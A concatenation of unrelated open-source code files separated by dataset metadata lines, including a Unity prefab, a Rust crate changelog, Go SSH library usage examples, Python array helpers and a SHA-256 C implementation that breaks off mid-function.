- {fileID: 2100000, guid: 7e3016a4668af4ed0879281ab8cfda9b, type: 2}
m_StaticBatchInfo:
firstSubMesh: 0
subMeshCount: 0
m_StaticBatchRoot: {fileID: 0}
m_ProbeAnchor: {fileID: 0}
m_LightProbeVolumeOverride: {fileID: 0}
m_ScaleInLightmap: 0
m_ReceiveGI: 2
m_PreserveUVs: 1
m_IgnoreNormalsForChartDetection: 0
m_ImportantGI: 0
m_StitchLightmapSeams: 0
m_SelectedEditorRenderState: 3
m_MinimumChartSize: 4
m_AutoUVMaxDistance: 0.5
m_AutoUVMaxAngle: 89
m_LightmapParameters: {fileID: 0}
m_SortingLayerID: 0
m_SortingLayer: 0
m_SortingOrder: 0
--- !u!1 &1941841878255398
GameObject:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
serializedVersion: 6
m_Component:
- component: {fileID: 4892398858798392}
- component: {fileID: 205192462350478486}
m_Layer: 0
m_Name: Palm_02
m_TagString: Untagged
m_Icon: {fileID: 0}
m_NavMeshLayer: 0
m_StaticEditorFlags: 121
m_IsActive: 1
--- !u!4 &4892398858798392
Transform:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1941841878255398}
m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}
m_LocalPosition: {x: 10.1, y: 0, z: 0.16}
m_LocalScale: {x: 1, y: 1, z: 1}
m_Children:
- {fileID: 4097624723285212}
- {fileID: 4670711268220634}
m_Father: {fileID: 0}
m_RootOrder: 0
m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}
--- !u!205 &205192462350478486
LODGroup:
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_GameObject: {fileID: 1941841878255398}
serializedVersion: 2
m_LocalReferencePoint: {x: 0.4105785, y: 4.903183, z: 0.061512947}
m_Size: 9.898365
m_FadeMode: 1
m_AnimateCrossFading: 0
m_LastLODIsBillboard: 0
m_LODs:
- screenRelativeHeight: 0.3461439
fadeTransitionWidth: 0.25
renderers:
- renderer: {fileID: 23338835864651080}
- screenRelativeHeight: 0.04895527
fadeTransitionWidth: 0.25
renderers:
- renderer: {fileID: 23582185124200730}
m_Enabled: 1
| {
"pile_set_name": "Github"
} |
## 2018-04-18, Version 0.3.0
### Commits
- [[`650df0bf4d`](https://github.com/yoshuawuyts/human-panic/commits/650df0bf4de62239e9592b2185ebbd4875640864)] (cargo-release) version 0.3.0 (Yoshua Wuyts)
- [[`a3ec0ddb97`](https://github.com/yoshuawuyts/human-panic/commits/a3ec0ddb97eb5940ab56785eb54eed52ead3a82b)] Fixing wrong data in certain crash dump fields (#15)
Fixing a bug in the log dumps
* Carrying over metadata from first macro call to properly
include metadata in crash dumps.
* Making Method derive Copy
(Katharina)
- [[`ed11055e06`](https://github.com/yoshuawuyts/human-panic/commits/ed11055e0602c3c8d223ed8354058fefb9ac47ec)] Merge pull request #16 from killercup/docs
Ensure no docs are missin (Pascal Hertleif)
- [[`4540d77276`](https://github.com/yoshuawuyts/human-panic/commits/4540d77276eafbfb57c922f57f1aa04cd5cb1cd5)] Fix typos (#14)
* Correct typo embarrasing
* Fix typos
(Andy Slack)
- [[`9e972ef654`](https://github.com/yoshuawuyts/human-panic/commits/9e972ef654df70047f73df51befa3ba2bcb2e5c5)] Ensure no docs are missing (Pascal Hertleif)
- [[`b82ac5c35a`](https://github.com/yoshuawuyts/human-panic/commits/b82ac5c35a9e5772a54033a084d1cc784ffd6510)] Merge pull request #11 from skade/update-readme
Update README with current interfac (Pascal Hertleif)
- [[`21c5417580`](https://github.com/yoshuawuyts/human-panic/commits/21c5417580e6bf4cbe330715b5cc4ae39e4f5d8e)] Update README with current interface (Florian Gilcher)
- [[`d86232967d`](https://github.com/yoshuawuyts/human-panic/commits/d86232967d3bf9dc868a4cd68bab2e1004b6d2dc)] Merge pull request #10 from killercup/rollup
Rollup (Pascal Hertleif)
- [[`80046e1488`](https://github.com/yoshuawuyts/human-panic/commits/80046e148860e0bcde3d5a8e9c1a56bf5f32a37c)] Use more generic way to get a Path (Pascal Hertleif)
- [[`dc05d332a0`](https://github.com/yoshuawuyts/human-panic/commits/dc05d332a0527812fc239f4622289fb593aac936)] Merge skade-join-properly into rollup (Pascal Hertleif)
- [[`2e0127c830`](https://github.com/yoshuawuyts/human-panic/commits/2e0127c8303d7ea5c46e9aacf83e2fa0fdbbbd83)] Merge yoshuawuyts-fix-example into rollup (Pascal Hertleif)
- [[`fc16cb8ac2`](https://github.com/yoshuawuyts/human-panic/commits/fc16cb8ac2b692450d689d5650fe82405f35f492)] Update Cargo.lock (Pascal Hertleif)
- [[`e53059ff3c`](https://github.com/yoshuawuyts/human-panic/commits/e53059ff3cc5e36bee7dc6e29a6605881122aac3)] rustfmt (Pascal Hertleif)
- [[`a51285bb10`](https://github.com/yoshuawuyts/human-panic/commits/a51285bb1044c0ef6e5a8c94f5149549315eef53)] Properly handle file paths using Path and PathBuf (Florian Gilcher)
- [[`82ebdccb5a`](https://github.com/yoshuawuyts/human-panic/commits/82ebdccb5a22baf369b12c888af7a0b9cd1d0ee8)] make clippy pass for real this time (Yoshua Wuyts)
- [[`2297066f50`](https://github.com/yoshuawuyts/human-panic/commits/2297066f504f98a62c1ddde357aad81a0ed147e4)] please clippy (Yoshua Wuyts)
- [[`b1ec2b5b7b`](https://github.com/yoshuawuyts/human-panic/commits/b1ec2b5b7bb5b679ed8287712272f1a7ba3387c8)] fix examples (Yoshua Wuyts)
- [[`369ca4e526`](https://github.com/yoshuawuyts/human-panic/commits/369ca4e526b911b8455e1759e7609edf1a606e34)] Bumpding version, adding author (Katharina)
- [[`31e1d9ada2`](https://github.com/yoshuawuyts/human-panic/commits/31e1d9ada2b3e0563cac37d32ec952552e129281)] Cleaning up warnings for the big rebase (Katharina Sabel)
- [[`3ffa055d57`](https://github.com/yoshuawuyts/human-panic/commits/3ffa055d576c8e572ddcde2744d5aef514b11fa5)] Attempting to fix the `err` example using the failures crate (Katharina Sabel)
- [[`5214754bc0`](https://github.com/yoshuawuyts/human-panic/commits/5214754bc093a389a7d44c5fd1e9d6d38df1ea86)] Adding a bit of padding in the log (Katharina Sabel)
- [[`031b2b846b`](https://github.com/yoshuawuyts/human-panic/commits/031b2b846b73e6fefa783ffee83c9c5ef6464c3a)] Merging advaned report functionality. (Katharina Sabel)
- [[`7a2e923075`](https://github.com/yoshuawuyts/human-panic/commits/7a2e9230751abd3a152d3240a8b4c75891ae8e41)] Merging #4 by yoshuawuyts
This commit adds the ability to generate reports based on an application
crash. It hooks into the existing panic handler and also exposes
the report generation feature via a `pub fn` (Katharina Sabel)
- [[`7dc354b88e`](https://github.com/yoshuawuyts/human-panic/commits/7dc354b88e0fc0cfc9f10e6477444f6b73d0afb3)] Preparing for cherrypick (Katharina Sabel)
- [[`5002578d8f`](https://github.com/yoshuawuyts/human-panic/commits/5002578d8f5b495d4f37fb68510dd5e5fa624cc6)] Cleaning up merge artefact (Katharina Sabel)
- [[`bd4526a315`](https://github.com/yoshuawuyts/human-panic/commits/bd4526a3156aacce08ffce4fbd2339a2bcb2cf84)] Changing the core functionality of the crate
Instead of having to wrap around every panic, this now uses `set_hook` once
to register the callback to print a pretty status message. This also has the
added benefit of pulling in env! calls because the main setup was made
into a macro.
Optionally the two core functions (print_help and dump_log) can now also be used
without the core macro, because they are `pub fn` (Katharina Sabel)
- [[`b90ea3ba1c`](https://github.com/yoshuawuyts/human-panic/commits/b90ea3ba1cda64f65928f36429da67523e78dcfb)] Stable and slim (#1)
* Make it compile on stable
Also adds a nightly feature flag that will automatically be picked up by
docs.rs to build nice docs.
* Make clippy a CI-only dependency
You can run `cargo clippy` locally to get the same effect. I've also
taken the liberty to nail down the rustfmt version to use, so we can
update it explicitly. (This is the same CI setup that assert_cli uses.)
* Get rid of all dependencies for now
Improves compile times :trollface:
* Use termcolor for colored output
This should make it compatible with windows consoles.
* Set up some kind of error handling for the hook
* rustfmt
* Bump clippy
and choose a nightly that actually exists.
* Make clippy happy
(Pascal Hertleif)
- [[`c04ae22d1e`](https://github.com/yoshuawuyts/human-panic/commits/c04ae22d1ef3289d028f9ff5aaefd8a44b5c293c)] update readme output (Yoshua Wuyts)
- [[`4a35c860fd`](https://github.com/yoshuawuyts/human-panic/commits/4a35c860fd00835a36184be8068d777d4fa02519)] upgrade desc (Yoshua Wuyts)
- [[`ccaf3bce86`](https://github.com/yoshuawuyts/human-panic/commits/ccaf3bce8666879c89ce0222f7f8d1f306bde074)] init (Yoshua Wuyts)
- [[`a7135d1e8c`](https://github.com/yoshuawuyts/human-panic/commits/a7135d1e8c87409e3f553a761e2b2caa24d849c9)] catch (Yoshua Wuyts)
- [[`0129328ce4`](https://github.com/yoshuawuyts/human-panic/commits/0129328ce4472190366ac7835aed003d68aeb088)] . (Yoshua Wuyts)
### Stats
```diff
.editorconfig | 25 +--
.gitignore | 3 +-
.travis.yml | 8 +-
Cargo.lock | 391 +++++++++++++++++++++++++++++++++-
Cargo.toml | 11 +-
README.md | 51 +----
examples/panic.rs | 9 +-
src/lib.rs | 130 ++---------
src/report.rs | 22 +--
tests/custom-panic/Cargo.toml | 10 +-
tests/custom-panic/src/main.rs | 14 +-
tests/custom-panic/tests/integration.rs | 16 +-
tests/single-panic/Cargo.toml | 10 +-
tests/single-panic/src/main.rs | 9 +-
tests/single-panic/tests/integration.rs | 14 +-
15 files changed, 442 insertions(+), 281 deletions(-)
```
| {
"pile_set_name": "Github"
} |
// *****************************************************************************
//
// © Component Factory Pty Ltd 2012. All rights reserved.
// The software and associated documentation supplied hereunder are the
// proprietary information of Component Factory Pty Ltd, PO Box 1504,
// Glen Waverley, Vic 3150, Australia and are supplied subject to licence terms.
//
// Version 4.6.0.0 www.ComponentFactory.com
// *****************************************************************************
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace KryptonTaskDialogExamples
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
| {
"pile_set_name": "Github"
} |
%h2 Next solutions to mentor
-if @suggested_solutions.present?
-@suggested_solutions.each do |solution|
-user_track = @user_tracks["#{solution.user_id}|#{solution.exercise.track_id}"]
=render "solution", solution: solution, user_track: user_track
-else
.no-solutions.general
There are currently no solutions that need claiming.
| {
"pile_set_name": "Github"
} |
ace.define("ace/snippets/rdoc",["require","exports","module"], function(require, exports, module) {
"use strict";
exports.snippetText =undefined;
exports.scope = "rdoc";
});
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="refresh" content="0;URL=fn.gzdopen.html">
</head>
<body>
<p>Redirecting to <a href="fn.gzdopen.html">fn.gzdopen.html</a>...</p>
<script>location.replace("fn.gzdopen.html" + location.search + location.hash);</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
package cn.nukkit.level.generator.biome;
import cn.nukkit.block.Block;
import cn.nukkit.block.BlockDirt;
/**
* author: Angelic47
* Nukkit Project
*/
public abstract class WateryBiome extends NormalBiome implements CaveBiome {
public WateryBiome() {
this.setGroundCover(new Block[]{
new BlockDirt(),
new BlockDirt(),
new BlockDirt(),
new BlockDirt(),
new BlockDirt()
});
}
@Override
public int getSurfaceBlock() {
return Block.DIRT;
}
@Override
public int getGroundBlock() {
return Block.DIRT;
}
@Override
public int getStoneBlock() {
return Block.STONE;
}
}
| {
"pile_set_name": "Github"
} |
//------------------------------------------------------------------------------
// Copyright (c) 2018 by contributors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//------------------------------------------------------------------------------
/*
This file defines the Checker class, which can check and parse
the command line arguments.
*/
#ifndef XLEARN_SOLVER_CHECKER_H_
#define XLEARN_SOLVER_CHECKER_H_
#include <vector>
#include <string>
#include "src/base/common.h"
#include "src/data/hyper_parameters.h"
namespace xLearn {
typedef std::vector<std::string> StringList;
//------------------------------------------------------------------------------
// Checker is used to check and parse command line arguments for xLearn.
//------------------------------------------------------------------------------
class Checker {
public:
// Constructor and Destructor
Checker() { }
~Checker() { }
// Initialize Checker
void Initialize(bool is_train, int argc, char* argv[]);
// Check and parse arguments
bool check_cmd(HyperParam& hyper_param);
// Check hyper-param. Used by c_api
bool check_param(HyperParam& hyper_param);
protected:
/* Store all the possible options */
StringList menu_;
/* User input command line */
StringList args_;
/* train or predict */
bool is_train_;
// Print the help menu
std::string option_help() const;
// Check options for training and prediction
bool check_train_options(HyperParam& hyper_param);
bool check_train_param(HyperParam& hyper_param);
bool check_prediction_options(HyperParam& hyper_param);
bool check_prediction_param(HyperParam& hyper_param);
void check_conflict_train(HyperParam& hyper_param);
void check_conflict_predict(HyperParam& hyper_param);
private:
DISALLOW_COPY_AND_ASSIGN(Checker);
};
} // namespace xLearn
#endif // XLEARN_SOLVER_CHECKER_H_
| {
"pile_set_name": "Github"
} |
#!/bin/sh
echo "Running in Docker container - $0 not available"
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
"""
This file is part of Bohrium and copyright (c) 2012 the Bohrium
http://bohrium.bitbucket.org
Bohrium is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as
published by the Free Software Foundation, either version 3
of the License, or (at your option) any later version.
Bohrium is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the
GNU Lesser General Public License along with Bohrium.
If not, see <http://www.gnu.org/licenses/>.
"""
import collections
import numpy_force as np
from bohrium_api import _info
def dtype_of(obj):
"""Returns the dtype of 'obj'."""
if isinstance(obj, np.dtype):
return obj
elif isinstance(obj, basestring):
tmp = obj
elif isinstance(obj, type):
tmp = obj
elif hasattr(obj, "dtype"):
tmp = obj.dtype
else:
tmp = type(obj)
return np.dtype(tmp)
def dtype_equal(*args):
"""Returns True when all 'args' is the same dtype."""
if len(args) > 1:
first_tmp = dtype_of(args[0])
for tmp in args[1:]:
if first_tmp is not dtype_of(tmp):
return False
return True
def dtype_in(dtype, dtypes):
"""Returns True when 'dtype' is in the list of 'dtypes'."""
for datatype in dtypes:
if dtype_equal(dtype, datatype):
return True
return False
def dtype_is_float(dtype):
"""Returns True when 'dtype' is a float or complex."""
return dtype_in(dtype, [np.float32, np.float64, np.complex64, np.complex128])
def dtype_name(obj):
"""Returns the Bohrium name of the data type of the object 'obj'."""
dtype = dtype_of(obj)
if dtype_in(dtype, [np.bool_, np.bool, bool]):
return 'bool8'
else:
return dtype.name
def type_sig(op_name, inputs):
"""
Returns the type signature (output, input) to use with the given operation.
NB: we only returns the type of the first input thus all input types must
be identical
"""
func = _info.op[op_name]
#Note that we first use the dtype before the array as inputs to result_type()
inputs = [getattr(t, 'dtype', t) for t in inputs]
dtype = np.result_type(*inputs)
for sig in func['type_sig']:
if dtype.name == sig[1]:
return (np.dtype(sig[0]), np.dtype(sig[1]))
# Let's try use a float signature for the integer input
if np.issubdtype(dtype, np.integer):
for sig in func['type_sig']:
if 'float' in sig[1]:
return (np.dtype(sig[0]), np.dtype(sig[1]))
raise TypeError("The ufunc bohrium.%s() does not support input data type: %s." % (op_name, dtype.name))
def dtype_support(dtype):
"""Returns True when Bohrium supports 'dtype' """
if dtype_in(dtype, _info.numpy_types()):
return True
else:
return False
def totalsize(array_like):
"""Return the total size of an list like object such as a bharray, ndarray, list, etc."""
if np.isscalar(array_like):
return 1
elif hasattr(array_like, "size"):
return array_like.size
elif isinstance(array_like, collections.Iterable) and not isinstance(array_like, basestring):
return sum(totalsize(item) for item in array_like)
else:
return 1
def is_scalar(a):
"""Is `a` a scalar type or 0-dim array?"""
return np.isscalar(a) or a.ndim == 0 | {
"pile_set_name": "Github"
} |
package com.tencent.mm.d.a;
import com.tencent.mm.sdk.c.b;
public final class gc
extends b
{
public static boolean arQ = false;
public static boolean arR = false;
public a aBa = new a();
public gc()
{
id = "LBSVerifyStorageNotify";
jUI = arR;
}
public static final class a
{
public String asJ;
}
}
/* Location:
* Qualified Name: com.tencent.mm.d.a.gc
* Java Class Version: 6 (50.0)
* JD-Core Version: 0.7.1
*/ | {
"pile_set_name": "Github"
} |
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package ssh_test
import (
"bufio"
"bytes"
"fmt"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"path/filepath"
"strings"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/terminal"
)
func ExampleNewServerConn() {
// Public key authentication is done by comparing
// the public key of a received connection
// with the entries in the authorized_keys file.
authorizedKeysBytes, err := ioutil.ReadFile("authorized_keys")
if err != nil {
log.Fatalf("Failed to load authorized_keys, err: %v", err)
}
authorizedKeysMap := map[string]bool{}
for len(authorizedKeysBytes) > 0 {
pubKey, _, _, rest, err := ssh.ParseAuthorizedKey(authorizedKeysBytes)
if err != nil {
log.Fatal(err)
}
authorizedKeysMap[string(pubKey.Marshal())] = true
authorizedKeysBytes = rest
}
// An SSH server is represented by a ServerConfig, which holds
// certificate details and handles authentication of ServerConns.
config := &ssh.ServerConfig{
// Remove to disable password auth.
PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {
// Should use constant-time compare (or better, salt+hash) in
// a production setting.
if c.User() == "testuser" && string(pass) == "tiger" {
return nil, nil
}
return nil, fmt.Errorf("password rejected for %q", c.User())
},
// Remove to disable public key auth.
PublicKeyCallback: func(c ssh.ConnMetadata, pubKey ssh.PublicKey) (*ssh.Permissions, error) {
if authorizedKeysMap[string(pubKey.Marshal())] {
return nil, nil
}
return nil, fmt.Errorf("unknown public key for %q", c.User())
},
}
privateBytes, err := ioutil.ReadFile("id_rsa")
if err != nil {
log.Fatal("Failed to load private key: ", err)
}
private, err := ssh.ParsePrivateKey(privateBytes)
if err != nil {
log.Fatal("Failed to parse private key: ", err)
}
config.AddHostKey(private)
// Once a ServerConfig has been configured, connections can be
// accepted.
listener, err := net.Listen("tcp", "0.0.0.0:2022")
if err != nil {
log.Fatal("failed to listen for connection: ", err)
}
nConn, err := listener.Accept()
if err != nil {
log.Fatal("failed to accept incoming connection: ", err)
}
// Before use, a handshake must be performed on the incoming
// net.Conn.
_, chans, reqs, err := ssh.NewServerConn(nConn, config)
if err != nil {
log.Fatal("failed to handshake: ", err)
}
// The incoming Request channel must be serviced.
go ssh.DiscardRequests(reqs)
// Service the incoming Channel channel.
for newChannel := range chans {
// Channels have a type, depending on the application level
// protocol intended. In the case of a shell, the type is
// "session" and ServerShell may be used to present a simple
// terminal interface.
if newChannel.ChannelType() != "session" {
newChannel.Reject(ssh.UnknownChannelType, "unknown channel type")
continue
}
channel, requests, err := newChannel.Accept()
if err != nil {
log.Fatalf("Could not accept channel: %v", err)
}
// Sessions have out-of-band requests such as "shell",
// "pty-req" and "env". Here we handle only the
// "shell" request.
go func(in <-chan *ssh.Request) {
for req := range in {
req.Reply(req.Type == "shell", nil)
}
}(requests)
term := terminal.NewTerminal(channel, "> ")
go func() {
defer channel.Close()
for {
line, err := term.ReadLine()
if err != nil {
break
}
fmt.Println(line)
}
}()
}
}
func ExampleHostKeyCheck() {
// Every client must provide a host key check. Here is a
// simple-minded parse of OpenSSH's known_hosts file
host := "hostname"
file, err := os.Open(filepath.Join(os.Getenv("HOME"), ".ssh", "known_hosts"))
if err != nil {
log.Fatal(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
var hostKey ssh.PublicKey
for scanner.Scan() {
fields := strings.Split(scanner.Text(), " ")
if len(fields) != 3 {
continue
}
if strings.Contains(fields[0], host) {
var err error
hostKey, _, _, _, err = ssh.ParseAuthorizedKey(scanner.Bytes())
if err != nil {
log.Fatalf("error parsing %q: %v", fields[2], err)
}
break
}
}
if hostKey == nil {
log.Fatalf("no hostkey for %s", host)
}
config := ssh.ClientConfig{
User: os.Getenv("USER"),
HostKeyCallback: ssh.FixedHostKey(hostKey),
}
_, err = ssh.Dial("tcp", host+":22", &config)
log.Println(err)
}
func ExampleDial() {
var hostKey ssh.PublicKey
// An SSH client is represented with a ClientConn.
//
// To authenticate with the remote server you must pass at least one
// implementation of AuthMethod via the Auth field in ClientConfig,
// and provide a HostKeyCallback.
config := &ssh.ClientConfig{
User: "username",
Auth: []ssh.AuthMethod{
ssh.Password("yourpassword"),
},
HostKeyCallback: ssh.FixedHostKey(hostKey),
}
client, err := ssh.Dial("tcp", "yourserver.com:22", config)
if err != nil {
log.Fatal("Failed to dial: ", err)
}
// Each ClientConn can support multiple interactive sessions,
// represented by a Session.
session, err := client.NewSession()
if err != nil {
log.Fatal("Failed to create session: ", err)
}
defer session.Close()
// Once a Session is created, you can execute a single command on
// the remote side using the Run method.
var b bytes.Buffer
session.Stdout = &b
if err := session.Run("/usr/bin/whoami"); err != nil {
log.Fatal("Failed to run: " + err.Error())
}
fmt.Println(b.String())
}
func ExamplePublicKeys() {
var hostKey ssh.PublicKey
// A public key may be used to authenticate against the remote
// server by using an unencrypted PEM-encoded private key file.
//
// If you have an encrypted private key, the crypto/x509 package
// can be used to decrypt it.
key, err := ioutil.ReadFile("/home/user/.ssh/id_rsa")
if err != nil {
log.Fatalf("unable to read private key: %v", err)
}
// Create the Signer for this private key.
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
log.Fatalf("unable to parse private key: %v", err)
}
config := &ssh.ClientConfig{
User: "user",
Auth: []ssh.AuthMethod{
// Use the PublicKeys method for remote authentication.
ssh.PublicKeys(signer),
},
HostKeyCallback: ssh.FixedHostKey(hostKey),
}
// Connect to the remote server and perform the SSH handshake.
client, err := ssh.Dial("tcp", "host.com:22", config)
if err != nil {
log.Fatalf("unable to connect: %v", err)
}
defer client.Close()
}
func ExampleClient_Listen() {
var hostKey ssh.PublicKey
config := &ssh.ClientConfig{
User: "username",
Auth: []ssh.AuthMethod{
ssh.Password("password"),
},
HostKeyCallback: ssh.FixedHostKey(hostKey),
}
// Dial your ssh server.
conn, err := ssh.Dial("tcp", "localhost:22", config)
if err != nil {
log.Fatal("unable to connect: ", err)
}
defer conn.Close()
// Request the remote side to open port 8080 on all interfaces.
l, err := conn.Listen("tcp", "0.0.0.0:8080")
if err != nil {
log.Fatal("unable to register tcp forward: ", err)
}
defer l.Close()
// Serve HTTP with your SSH server acting as a reverse proxy.
http.Serve(l, http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
fmt.Fprintf(resp, "Hello world!\n")
}))
}
func ExampleSession_RequestPty() {
var hostKey ssh.PublicKey
// Create client config
config := &ssh.ClientConfig{
User: "username",
Auth: []ssh.AuthMethod{
ssh.Password("password"),
},
HostKeyCallback: ssh.FixedHostKey(hostKey),
}
// Connect to ssh server
conn, err := ssh.Dial("tcp", "localhost:22", config)
if err != nil {
log.Fatal("unable to connect: ", err)
}
defer conn.Close()
// Create a session
session, err := conn.NewSession()
if err != nil {
log.Fatal("unable to create session: ", err)
}
defer session.Close()
// Set up terminal modes
modes := ssh.TerminalModes{
ssh.ECHO: 0, // disable echoing
ssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud
ssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud
}
// Request pseudo terminal
if err := session.RequestPty("xterm", 40, 80, modes); err != nil {
log.Fatal("request for pseudo terminal failed: ", err)
}
// Start remote shell
if err := session.Shell(); err != nil {
log.Fatal("failed to start shell: ", err)
}
}
| {
"pile_set_name": "Github"
} |
--TEST--
phpunit StackTest ../_files/StackTest.php
--FILE--
<?php
define('PHPUNIT_TESTSUITE', TRUE);
$_SERVER['argv'][1] = '--no-configuration';
$_SERVER['argv'][2] = 'StackTest';
$_SERVER['argv'][3] = dirname(dirname(__FILE__)) . '/_files/StackTest.php';
require_once dirname(dirname(dirname(__FILE__))) . '/PHPUnit/Autoload.php';
PHPUnit_TextUI_Command::main();
?>
--EXPECTF--
PHPUnit %s by Sebastian Bergmann.
..
Time: %i %s, Memory: %sMb
OK (2 tests, 5 assertions)
| {
"pile_set_name": "Github"
} |
/* Ref. RFC 6234 US Secure Hash Algorithms (SHA and SHA-based HMAC and HKDF).
Heavily modified, but still based on, the reference implementation from
the RFC. Original copyright notice follows: */
/* Copyright (c) 2011 IETF Trust and the persons identified as authors
of the code. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Internet Society, IETF or IETF Trust, nor the names
of specific contributors, may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE. */
#include <bits/types.h>
#include <endian.h>
#include <string.h>
#include <format.h>
#include "sha256.h"
static const uint32_t K[64] = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};
static uint32_t rotr(uint32_t x, int n)
{
return (x >> n) | (x << (32 - n));
}
static uint32_t shr(uint32_t x, int n)
{
return (x >> n);
}
void sha256_init(struct sha256* sh)
{
uint32_t* H = sh->H;
H[0] = 0x6a09e667;
H[1] = 0xbb67ae85;
H[2] = 0x3c6ef372;
H[3] = 0xa54ff53a;
H[4] = 0x510e527f;
H[5] = 0x9b05688c;
H[6] = 0x1f83d9ab;
H[7] = 0x5be0cd19;
}
static uint32_t ch(uint32_t x, uint32_t y, uint32_t z)
{
return (x & y) ^ ((~x) & z);
}
static uint32_t maj(uint32_t x, uint32_t y, uint32_t z)
{
return (x & y) ^ (x & z) ^ (y & z);
}
static uint32_t bsig0(uint32_t x)
{
return rotr(x, 2) ^ rotr(x, 13) ^ rotr(x, 22);
}
static uint32_t bsig1(uint32_t x)
{
return rotr(x, 6) ^ rotr(x, 11) ^ rotr(x, 25);
}
static uint32_t ssig0(uint32_t x)
{
return rotr(x, 7) ^ rotr(x, 18) ^ shr(x, 3);
}
static uint32_t ssig1(uint32_t x)
{
return rotr(x, 17) ^ rotr(x, 19) ^ shr(x, 10);
}
static void sha256_hash(struct sha256* sh)
{
uint32_t* H = sh->H;
uint32_t* W = sh->W;
uint32_t t1, t2;
int i;
uint32_t a = H[0], b = H[1], c = H[2], d = H[3],
e = H[4], f = H[5], g = H[6], h = H[7];
for(i = 0; i < 64; i++) {
t1 = h + bsig1(e) + ch(e,f,g) + K[i] + W[i];
t2 = bsig0(a) + maj(a,b,c);
h = g; g = f; f = e; e = d + t1;
d = c; c = b; b = a; a = t1 + t2;
}
H[0] += a; H[1] += b; H[2] += c; H[3] += d;
H[4] += e; H[5] += f; H[6] += g; H[7] += h;
}
void sha256_fini(struct sha256* sh, uint8_t out[32])
{
uint32_t* po = (uint32_t*) out;
for(int i = 0; i < 8; i++)
po[i] = htonl(sh->H[i]);
}
static void sha256_load(struct sha256* sh, char blk[64])
{
int i;
uint32_t* W = sh->W;
for(i = 0; i < 16; i++)
